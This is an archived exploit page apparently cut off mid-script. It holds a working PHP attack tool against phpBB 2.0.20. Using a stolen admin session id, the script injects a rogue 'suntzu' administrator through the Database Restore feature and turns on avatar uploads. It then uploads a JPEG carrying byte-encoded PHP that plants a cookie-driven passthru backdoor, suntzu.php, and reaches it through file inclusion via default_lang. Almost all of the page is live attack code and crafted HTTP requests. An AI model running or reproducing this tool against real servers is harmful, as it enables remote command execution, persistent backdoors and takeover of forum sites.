Lucene search
K

phpBB <= 2.0.20 (Admin/Restore DB/default_lang) Remote Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 59 Views

phpBB v2.0.20 Admin/Restore DB/default_lang Remote Exploi

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;PhpBB &#60;= v2.0.20 \&#34;Admin/Restore Database/default_lang remote commands execution\r\n&#34;;
echo &#34;by rgod [email protected]\r\n&#34;;
echo &#34;site: http://retrogod.altervista.org\r\n&#34;;
echo &#34;-&#62; you need an admin sid, works regardless of magic_quotes_gpc settings\r\n&#34;;
echo &#34;tested and working against a fresh PhpBB installation\r\n\r\n&#34;;

if ($argc&#60;5) {
echo &#34;Usage: php &#34;.$argv[0].&#34; host path sid cmd OPTIONS\r\n&#34;;
echo &#34;host:       target server (ip/hostname)\r\n&#34;;
echo &#34;path:       path to PhpBB\r\n&#34;;
echo &#34;sid:        session id\r\n&#34;;
echo &#34;cmd:        a shell command\r\n&#34;;
echo &#34;Options:\r\n&#34;;
echo &#34;   -p[port]:    specify a port other than 80\r\n&#34;;
echo &#34;   -P[ip:port]: specify a proxy\r\n&#34;;
echo &#34;Examples:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /phpbb/ 8db5cef976c7e0f51c25c92152b56881 cat config.php\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /phpbb/ 8db5cef976c7e0f51c25c92152b56881 ls -la -p81\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost / 8db5cef976c7e0f51c25c92152b56881 ls -la -P1.1.1.1:80\r\n\r\n&#34;;
die;
}

/* explaination:

  if you have admin session id, you can enable avatar uploads, if not activated
  yet and you can store an arbitrary path for &#34;default_lang&#34; inside phpbb_config
  database table using the &#34;Database Restore&#34; feature. So you can upload a
  malicious avatar with php code as EXIF metadata content and submit a query like
  this:

  UPDATE phpbb_config SET config_value=CONCAT(&#34;english/../../images/avatars/297984465bc277af10.jpg&#34;,CHAR(0)) where config_name=&#34;default_lang&#34;;

  note: you can see avatar filename in profile page

  in faq.php, like in other files, near line 62, we have:

  ...
  include($phpbb_root_path . &#39;language/lang_&#39; . $board_config[&#39;default_lang&#39;] . &#39;/&#39; . $lang_file . &#39;.&#39; . $phpEx);
  ...

  $board_config[&#39;default_lang&#39;] var is not sanitized before to be used
  to include files, so you can reach the malicious avatar to execute the code
  inside of it.

  This tool also creates a &#34;suntzu&#34; user with password &#34;suntzu&#34; and a backdoor
  called suntzu.php, so you do not need sid after the first run
								              */
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;

}

$host=$argv[1];
$path=$argv[2];
$cmd=&#34;&#34;;$port=80;$proxy=&#34;&#34;;
for ($i=4; $i&#60;=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;))
{$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}



echo &#34;step 0 -&#62; check if suntzu.php is already installed...\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;suntzu.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: cmd=&#34;.$cmd.&#34;;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (strstr($html,&#34;56789&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;56789&#34;,$html);
  die(&#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;);
}

echo &#34;Step 0b -&#62; check if exploit has already succeeded but suntzu.php deleted, try to login as suntzu...\r\n&#34;;
$data=&#34;username=suntzu&#34;;
$data.=&#34;&password=suntzu&#34;;
$data.=&#34;&redirect=&#34;.urlencode(&#34;admin/index.php?admin=1&#34;);
$data.=&#34;&admin=1&#34;;
$data.=&#34;&login=Log+in&#34;;
$packet=&#34;POST &#34;.$p.&#34;login.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/login.php\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$temp2=explode(&#34; &#34;,$temp[3]);
$cookie=$temp2[0];
$temp2=explode(&#34; &#34;,$temp[4]);
$cookie.=&#34; &#34;.$temp2[0];
$temp=explode(&#34;admin=1&sid=&#34;,$html);
$temp2=explode(&#34;\n&#34;,$temp[1]);
$session_id=trim($temp2[0]);
if (($cookie==&#39;&#39;) | ($session_id==&#39;&#39;)) {
echo &#34;step 0c -&#62; query database to create a \&#34;suntzu\&#34; user with password \&#34;suntzu\&#34;...\r\n&#34;;
$session_id=trim($argv[3]);
//usually admin user_id is &#34;2&#34;, so you need only session id... however, if you have admin cookie, specify it literally
$cookie=&#34;phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=&#34;;
$cookie.=$session_id.&#34;;&#34;;
$sql=&#34;
#
# let&#39;s create a new admin user
#

INSERT INTO phpbb_users(user_id,user_active,username,user_password,user_level,user_email) VALUES (&#39;999999&#39;,&#39;1&#39;,&#39;suntzu&#39;,&#39;d33d57efba4c05808b5d16532f9d1567&#39;,&#39;1&#39;,&#39;suntzu\@fakemail.com&#39;);

&#34;;

$data=&#39;-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;backup_file&#34;; filename=&#34;suntzu.sql&#34;;
Content-Type: text/plain

&#39;.$sql.&#39;
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;perform&#34;

restore
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;restore_start&#34;

Start Restore
-----------------------------7d62702f250530--
&#39;;

$packet=&#34;POST &#34;.$p.&#34;admin/admin_db_utilities.php?sid=&#34;.$session_id.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;profile.php?mode=editprofile\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (eregi(&#34;The Database has been successfully restored&#34;,$html))
{
echo &#34;Done...\r\n&#34;;
}
else
{
die(&#34;Unable to modify table... maybe wrong admin sid\r\n&#34;);
}
}
else
{
echo &#34;Cookie -&#62;&#34;.$cookie.&#34;\r\n&#34;;
echo &#34;sid -&#62;&#34;.urlencode($session_id).&#34;\r\n\r\n&#34;;
}

echo &#34;Step 1 -&#62; Login as suntzu...\r\n&#34;;
$data=&#34;username=suntzu&#34;;
$data.=&#34;&password=suntzu&#34;;
$data.=&#34;&redirect=&#34;.urlencode(&#34;admin/index.php?admin=1&#34;);
$data.=&#34;&admin=1&#34;;
$data.=&#34;&login=Log+in&#34;;
$packet=&#34;POST &#34;.$p.&#34;login.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/login.php\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$temp2=explode(&#34; &#34;,$temp[3]);
$cookie=$temp2[0];
$temp2=explode(&#34; &#34;,$temp[4]);
$cookie.=&#34; &#34;.$temp2[0];
echo &#34;Cookie -&#62;&#34;.$cookie.&#34;\r\n&#34;;
$temp=explode(&#34;admin=1&sid=&#34;,$html);
$temp2=explode(&#34;\n&#34;,$temp[1]);
$session_id=trim($temp2[0]);
echo &#34;sid -&#62;&#34;.urlencode($session_id).&#34;\r\n\r\n&#34;;
if (($cookie==&#39;&#39;) | ($session_id==&#39;&#39;)) {die(&#34;Unable to login...&#34;);}

echo &#34;step 2 -&#62; enable avatar uploads, if not enabled yet...\r\n&#34;;
$data=&#39;-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;server_name&#34;

&#39;.$host.&#39;
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;server_port&#34;

&#39;.$port.&#39;
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;script_path&#34;

&#39;.$path.&#39;
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;sitename&#34;

yourdomain.com
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;site_desc&#34;

A _little_ text to describe your forum
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;board_disable&#34;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;require_activation&#34;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;enable_confirm&#34;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_autologin&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;max_autologin_time&#34;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;board_email_form&#34;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;flood_interval&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;search_flood_interval&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;max_login_attempts&#34;

99
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;login_reset_time&#34;

30
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;topics_per_page&#34;

50
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;posts_per_page&#34;

15
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;hot_threshold&#34;

25
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;default_style&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;override_user_style&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;default_lang&#34;

english
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;default_dateformat&#34;

D M d, Y g:i a
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;board_timezone&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;gzip_compress&#34;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;prune_enable&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;cookie_domain&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;cookie_name&#34;

phpbb2mysql
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;cookie_path&#34;

/
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;cookie_secure&#34;;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;session_length&#34;

3600
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;privmsg_disable&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;max_inbox_privmsgs&#34;

50
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;max_sentbox_privmsgs&#34;

25
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;max_savebox_privmsgs&#34;

50
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;max_poll_options&#34;

50
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_html&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_html_tags&#34;

b,i,u,pre
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_bbcode&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_smilies&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;smilies_path&#34;

images/smiles
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_sig&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;max_sig_chars&#34;

255
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_namechange&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_avatar_local&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_avatar_remote&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allow_avatar_upload&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;avatar_filesize&#34;

6144
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;avatar_max_height&#34;

100
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;avatar_max_width&#34;

100
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;avatar_path&#34;

images/avatars
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;avatar_gallery_path&#34;

images/avatars/gallery
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;coppa_fax&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;coppa_mail&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;board_email&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;board_email_sig&#34;

Thanks, The Suntzu S.p.A.
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;smtp_delivery&#34;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;smtp_host&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;smtp_username&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;smtp_password&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;submit&#34;

Submit
----------------------------7d62702f250530--
&#39;;

$packet=&#34;POST &#34;.$p.&#34;admin/admin_board.php?sid=&#34;.$session_id.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;admin/admin_board.php?sid=&#34;.$session_id.&#34;\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (eregi(&#34;Forum Configuration Updated Successfully&#34;,$html))
{
echo &#34;Done...\r\n&#34;;
}
else
{echo(&#34;Unable to modify configuration...&#34;);}

echo &#34;step 3 -&#62; upload an avatar with php code as EXIF metadata content...\r\n&#34;;
$avatar=
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).chr(0x70).
chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).chr(0x22).
chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).
chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).
chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).
chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).
chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5f).
chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).chr(0x29).
chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).chr(0x74).
chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).chr(0x71).
chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).chr(0x70).
chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).chr(0x24).
chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).
chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).chr(0x72).
chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).
chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).
chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).
chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).
chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).chr(0x61).
chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).
chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).
chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x65).
chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).chr(0x38).
chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).chr(0x28).
chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).
chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).chr(0x75).
chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).
chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x08).
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).
chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).chr(0x00).
chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).
chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).
chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).chr(0x00);

/*
this image has this code inside as EXIF metadata content
&#60;?php
$fp=fopen(&#34;suntzu.php&#34;,&#34;w&#34;);
fputs($fp,&#34;&#60;?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?&#62;&#34;);
fclose($fp);
chmod(&#34;suntzu.php&#34;,777);
?&#62;
*/

$data=&#39;-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;username&#34;

suntzu
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;email&#34;

[email protected]
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;cur_password&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;new_password&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;password_confirm&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;icq&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;aim&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;msn&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;yim&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;website&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;location&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;occupation&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;interests&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;signature&#34;

suntzu giving you the pain
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;viewemail&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;hideonline&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;notifyreply&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;notifypm&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;popup_pm&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;attachsig&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allowbbcode&#34;

